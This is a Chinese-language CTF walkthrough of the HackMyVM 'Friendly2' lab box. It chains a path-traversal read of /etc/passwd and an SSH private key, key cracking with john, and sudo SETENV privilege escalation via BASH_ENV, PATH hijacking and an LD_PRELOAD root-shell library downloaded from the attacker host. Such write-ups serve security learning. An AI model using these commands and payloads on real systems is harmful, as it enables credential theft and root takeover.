friendly2靶机渗透

笔记于2025/12/3

本文参考多个文章,链接放在提权部分了

靶机介绍:

该靶机包含文件路径遍历漏洞,以及SETENV提权,ROT13加密

靶机IP:10.120.67.180

攻击机IP:10.120.53.100

存活扫描
复制代码
arp-scan -I eth0 10.120.53.100/17
端口扫描

发现开放SSH服务端口和WEB应用端口

复制代码
nmap -p- 10.120.67.180
WEB应用渗透测试
目录扫描
复制代码
dirb http://10.120.67.180/
信息收集

发现可以测试LFI漏洞和RFI漏洞

RFI漏洞测试

失败了

复制代码
#抓包访问 
http://10.120.67.180/tools/check_if_exist.php?doc=http://www.baidu.com
LFI漏洞测试

成功,得到用户名

复制代码
#访问/etc/passwd 
http://10.120.67.180/tools/check_if_exist.php?doc=../../../../../etc/passwd

因为开放SSH服务,所以我们拿SSH服务的id_rsa密钥

复制代码
#访问 
http://10.120.67.180/tools/check_if_exist.php?doc=../../../../../home/gh0st/.ssh/id_rsa
尝试登录SSH服务

发现登录失败

复制代码
chmod 600 id_rsa 
ssh gh0st@10.120.67.180 -i id_rsa
对id_rsa解密
复制代码
ssh2john id_rsa > hash.txt 
john hash.txt -w=/usr/share/wordlists/rockyou.txt 
john hash.txt --show
登录SSH服务
复制代码
ssh gh0st@10.120.67.180 -i id_rsa 
#输入密码即可连接,若输入密码扔连接失败则需要给id_rsa提供权限"chmod 600 id_rsa"后再次尝试登录
内网渗透
找到user.txt
复制代码
find / -type f -name 'user.txt' 2>/dev/null 
cat /home/gh0st/user.txt
信息收集
复制代码
sudo -l 
cat /opt/security.sh
内网提权方法1
复制代码
echo 'chmod u+s /bin/bash' > /tmp/mal.sh 
chmod +x /tmp/mal.sh 
sudo BASH_ENV=/tmp/mal.sh /opt/security.sh
内网提权方法2

hmv_friendly2

HakcMyVM/Friendly2.md at master · pencek/HakcMyVM · GitHub

复制代码
#这条是用的比较多的,可以看以上两篇博主 
cd /tmp 
echo 'chmod u+s /bin/bash' > grep 
chmod +x grep 
sudo PATH=$PWD:$PATH /opt/security.sh 
#或者下面这条,是我自己试过的也可以提权 
cd /tmp 
echo 'chmod u+s /bin/bash' > tr 
chmod +x tr 
sudo PATH=$PWD:$PATH /opt/security.sh
内网提权方法3

四分多钟的时候会介绍

hackmyvm Friendly2靶场复盘_哔哩哔哩_bilibili

具体知识点在这

Linux 权限升级 - 黑客技巧 --- Linux Privilege Escalation - HackTricks

复制代码
攻击机kali: 
vim pe.c 
#粘贴复制的代码 
gcc -fPIC -shared -o pe.so pe.c -nostartfiles 
python3 -m http.server 7777 
防守机: 
cd /tmp 
wget -o http://10.120.53.100:7777/pe.so 
sudo LD_PRELOAD=/tmp/pe.so /opt/security.sh

编译过了在编译一次可能是这样的

我这边用kali编译失败了,不知道是什么原因,然后我就放弃了

放弃之后重拾了一下知识,加了个就可以编译成功了

复制代码
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>  // 新增:包含setgid/setuid的声明

void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/bash");
}

拿下!

获取root.txt
复制代码
cat /root/root.txt 
find / -name '...' 2>/dev/null 
cd /... ls -al 
cat ebbg.txt

这里的root.txt的flag是经过ROT13加密过的,而/opt/security就是解码代码,只不过加了长度限制

修改/opt/security

复制代码
#将长度限制20修改成50或者更长 
nano /opt/security

运行并输入经过ROT13加密后的flag

WEB应用源代码分析

直接接收来自用户的GET请求doc参数,无任何过滤,存在路径遍历漏洞,攻击者可以利用他读取服务器任意敏感文件

复制代码
<?php 
if(isset($_GET['doc'])) { 
$filename = $_GET['doc']; 
readfile("/var/www/html/tools/documents/" . $filename); 
} 
?>

渗透测试收获:

如果sudo -l的内容为

复制代码
(ALL : ALL) SETENV: NOPASSWD: /opt/security.sh

那将有多种提权方法

ROT13加密类似凯撒加密

路径遍历漏洞经验

相关推荐
BingoGo9 小时前
OpenSwoole 26.2.0 发布:支持 PHP 8.5、io_uring 后端及协程调试改进
后端·php
JaguarJack9 小时前
OpenSwoole 26.2.0 发布:支持 PHP 8.5、io_uring 后端及协程调试改进
后端·php·服务端
JaguarJack1 天前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
后端·php·服务端
BingoGo1 天前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
php
JaguarJack2 天前
告别 Laravel 缓慢的 Blade!Livewire Blaze 来了,为你的 Laravel 性能提速
后端·php·laravel
郑州光合科技余经理3 天前
代码展示:PHP搭建海外版外卖系统源码解析
java·开发语言·前端·后端·系统架构·uni-app·php
一次旅行3 天前
网络安全总结
安全·web安全
西岸行者3 天前
学习笔记:SKILLS 能帮助更好的vibe coding
笔记·学习
red1giant_star3 天前
手把手教你用Vulhub复现ecshop collection_list-sqli漏洞(附完整POC)
安全
starlaky3 天前
Django入门笔记
笔记·django